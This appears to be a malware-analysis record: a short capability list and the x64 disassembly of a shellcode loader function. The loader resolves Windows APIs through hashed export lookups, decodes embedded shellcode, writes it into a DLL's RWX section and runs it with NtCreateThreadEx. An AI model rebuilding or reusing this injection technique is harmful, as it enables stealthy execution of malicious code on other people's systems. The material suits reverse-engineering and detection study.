Function at 0x140001480
Capabilities:
Check os version
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x28], rax
lea r9, [rbp + 0x20]
mov edx, 0x19
lea r8, [rsp + 0x60]
lea rcx, str.43_3A_5C_50_72_6F
call fcn.1400012b0
mov edi, dword [rbp + 0x20]
mov r15, 0xffffffffffffffff
add edi, 0xfffffffe
mov ecx, edi
add ecx, 1
cmovb rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400014f5
lea rcx, str.doesnt_work_n
call fcn.140001420
lea eax, [rbx - 0x7b]
jmp 0x140001882
mov rdx, qword [rsp + 0x60]
mov rcx, rbx
mov r8d, edi
mov qword [rsp + 0x150], rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
mov byte [rdi + rbx], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14000153e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_load_the_targeted_DLL__x_n
call fcn.140001420
mov eax, r15d
jmp 0x14000187a
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140001875
cmp dword [rax + 0x118], 0xa
jne 0x140001875
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov rdi, qword [rcx]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
mov rcx, qword [rdi + 0x20]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
cmp word [rcx], ax
jne 0x140001875
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001875
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x140001875
movabs rax, 0x9a44e0c9d96caf15
lea r8, [rsp + 0x70]
mov rdx, rbx
mov qword [rsp + 0x78], rax
call section..text
test eax, eax
je 0x140001875
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x78]
movabs rax, 0x120afe002411fffb
mov rdx, rbx
mov qword [rbp - 0x70], rax
call section..text
test eax, eax
jne 0x140001617
mov eax, 2
jmp 0x14000187a
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x60]
movabs rax, 0x25aeef3b973f7971
mov rdx, rbx
mov qword [rbp - 0x58], rax
call section..text
test eax, eax
jne 0x140001643
mov eax, 3
jmp 0x14000187a
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x48]
movabs rax, 0x614f4876af28ace1
mov rdx, rbx
mov qword [rbp - 0x40], rax
call section..text
test eax, eax
jne 0x14000166f
mov eax, 4
jmp 0x14000187a
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x30]
movabs rax, 0x9aa6236f0964ad19
mov rdx, rbx
mov qword [rbp - 0x28], rax
call section..text
test eax, eax
jne 0x14000169b
mov eax, 5
jmp 0x14000187a
lea r9, [rbp + 0x20]
mov edx, 0x30
lea r8, [rsp + 0x60]
lea rcx, str.FC_48_83_E4_F0_E8
call fcn.1400012b0
test eax, eax
jne 0x1400016d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_with_decoding__x_n
call fcn.140001420
mov eax, r15d
jmp 0x14000187a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rbp + 8]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
jne 0x140001709
lea rcx, str.____Failed_to_get_module_info_n
call fcn.140001420
mov eax, r15d
jmp 0x14000187a
mov rcx, rsi
mov qword [rsp + 0x158], r14
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
xor r14d, r14d
test rax, rax
je 0x14000175c
movzx edx, word [rax + 0x14]
movzx ecx, r14w
movzx r8d, word [rax + 6]
add rdx, 0x18
add rdx, rax
cmp r14w, r8w
jae 0x14000175c
nop dword [rax]
mov eax, dword [rdx + 0x24]
and eax, 0xe0000000
cmp eax, 0xe0000000
je 0x1400017ae
add rdx, 0x28
inc cx
cmp cx, r8w
jb 0x140001740
mov rbx, r14
mov rcx, rsi
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
test rax, rax
je 0x1400017df
movzx edx, word [rax + 0x14]
movzx ecx, r14w
movzx r8d, word [rax + 6]
add rdx, 0x18
add rdx, rax
cmp r14w, r8w
jae 0x1400017df
nop word [rax + rax]
mov eax, dword [rdx + 0x24]
and eax, 0xe0000000
cmp eax, 0xe0000000
je 0x1400017d0
add rdx, 0x28
inc cx
cmp cx, r8w
jb 0x140001790
jmp 0x1400017df
mov ebx, dword [rdx + 0xc]
lea rcx, str._i__DLL_base_address:_0x_p_n
mov rdx, rsi
call fcn.140001420
mov edx, ebx
lea rcx, str._t_i__RWX_section_offset:_0x_p_n
call fcn.140001420
jmp 0x14000175f
mov edx, dword [rdx + 0x10]
lea rcx, str._t_i__RWX_section_size:__d_bytes_n
call fcn.140001420
mov rdi, qword [rbp + 8]
mov rdx, qword [rsp + 0x60]
add rdi, rbx
mov ebx, dword [rbp + 0x20]
mov rcx, rdi
mov r8d, ebx
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebx
lea rcx, str._i___d_bytes_of_shellcode_written_to_RWX_memory_region_n
call fcn.140001420
lea rcx, str._i__Calling_the_RWX_region_address_to_execute_the_shellcode_n
call fcn.140001420
movzx ecx, word [rbp - 0x20]
call fcn.1400018b0
mov qword [rsp + 0x50], r14
lea rcx, [rbp]
mov qword [rsp + 0x48], r14
mov r9, r15
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov edx, 0x1fffff
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdi
call fcn.1400018c1
mov r14, qword [rsp + 0x158]
test eax, eax
je 0x14000186b
lea rcx, str.____NtCreateThreadEx_Failed_With_Error__n
call fcn.140001420
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x14000187a
mov eax, 1
mov rsi, qword [rsp + 0x150]
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.1400018e0
mov rbx, qword [rsp + 0x160]
add rsp, 0x130
pop r15
pop rdi
pop rbp
ret